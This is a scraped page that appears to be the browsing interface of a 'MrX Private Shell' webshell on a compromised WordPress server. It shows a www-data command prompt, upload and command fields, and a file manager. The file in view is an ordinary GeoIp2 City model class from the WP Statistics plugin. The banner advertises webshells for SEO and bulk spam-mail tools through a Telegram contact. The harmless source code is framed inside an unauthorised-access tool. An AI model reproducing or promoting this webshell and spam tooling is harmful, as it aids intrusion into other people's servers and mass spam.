__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace WP_Statistics\Dependencies\GeoIp2\Model;

/**
 * Model class for the data returned by City Plus web service and City
 * database.
 *
 * See https://dev.maxmind.com/geoip/docs/web-services?lang=en for more
 * details.
 *
 * @property-read \WP_Statistics\Dependencies\GeoIp2\Record\City $city City data for the requested IP
 * address.
 * @property-read \WP_Statistics\Dependencies\GeoIp2\Record\Location $location Location data for the
 * requested IP address.
 * @property-read \WP_Statistics\Dependencies\GeoIp2\Record\Postal $postal Postal data for the
 * requested IP address.
 * @property-read array $subdivisions An array \WP_Statistics\Dependencies\GeoIp2\Record\Subdivision
 * objects representing the country subdivisions for the requested IP
 * address. The number and type of subdivisions varies by country, but a
 * subdivision is typically a state, province, county, etc. Subdivisions
 * are ordered from most general (largest) to most specific (smallest).
 * If the response did not contain any subdivisions, this method returns
 * an empty array.
 * @property-read \WP_Statistics\Dependencies\GeoIp2\Record\Subdivision $mostSpecificSubdivision An object
 * representing the most specific subdivision returned. If the response
 * did not contain any subdivisions, this method returns an empty
 * \WP_Statistics\Dependencies\GeoIp2\Record\Subdivision object.
 */
class City extends Country
{
    /**
     * @ignore
     *
     * @var \WP_Statistics\Dependencies\GeoIp2\Record\City
     */
    protected $city;

    /**
     * @ignore
     *
     * @var \WP_Statistics\Dependencies\GeoIp2\Record\Location
     */
    protected $location;

    /**
     * @ignore
     *
     * @var \WP_Statistics\Dependencies\GeoIp2\Record\Postal
     */
    protected $postal;

    /**
     * @ignore
     *
     * @var array<\WP_Statistics\Dependencies\GeoIp2\Record\Subdivision>
     */
    protected $subdivisions = [];

    /**
     * @ignore
     */
    public function __construct(array $raw, array $locales = ['en'])
    {
        parent::__construct($raw, $locales);

        $this->city = new \WP_Statistics\Dependencies\GeoIp2\Record\City($this->get('city'), $locales);
        $this->location = new \WP_Statistics\Dependencies\GeoIp2\Record\Location($this->get('location'));
        $this->postal = new \WP_Statistics\Dependencies\GeoIp2\Record\Postal($this->get('postal'));

        $this->createSubdivisions($raw, $locales);
    }

    private function createSubdivisions(array $raw, array $locales): void
    {
        if (!isset($raw['subdivisions'])) {
            return;
        }

        foreach ($raw['subdivisions'] as $sub) {
            $this->subdivisions[] =
                new \WP_Statistics\Dependencies\GeoIp2\Record\Subdivision($sub, $locales)
            ;
        }
    }

    /**
     * @ignore
     *
     * @return mixed
     */
    public function __get(string $attr)
    {
        if ($attr === 'mostSpecificSubdivision') {
            return $this->{$attr}();
        }

        return parent::__get($attr);
    }

    /**
     * @ignore
     */
    public function __isset(string $attr): bool
    {
        if ($attr === 'mostSpecificSubdivision') {
            // We always return a mostSpecificSubdivision, even if it is the
            // empty subdivision
            return true;
        }

        return parent::__isset($attr);
    }

    private function mostSpecificSubdivision(): \WP_Statistics\Dependencies\GeoIp2\Record\Subdivision
    {
        return empty($this->subdivisions) ?
            new \WP_Statistics\Dependencies\GeoIp2\Record\Subdivision([], $this->locales) :
            end($this->subdivisions);
    }
}

Filemanager

Name Type Size Permission Actions
AbstractModel.php File 1.19 KB 0644
AnonymousIp.php File 2.59 KB 0644
Asn.php File 1.53 KB 0644
City.php File 3.62 KB 0644
ConnectionType.php File 1.27 KB 0644
Country.php File 3.2 KB 0644
Domain.php File 1.21 KB 0644
Enterprise.php File 290 B 0644
Insights.php File 281 B 0644
Isp.php File 2.6 KB 0644
Filemanager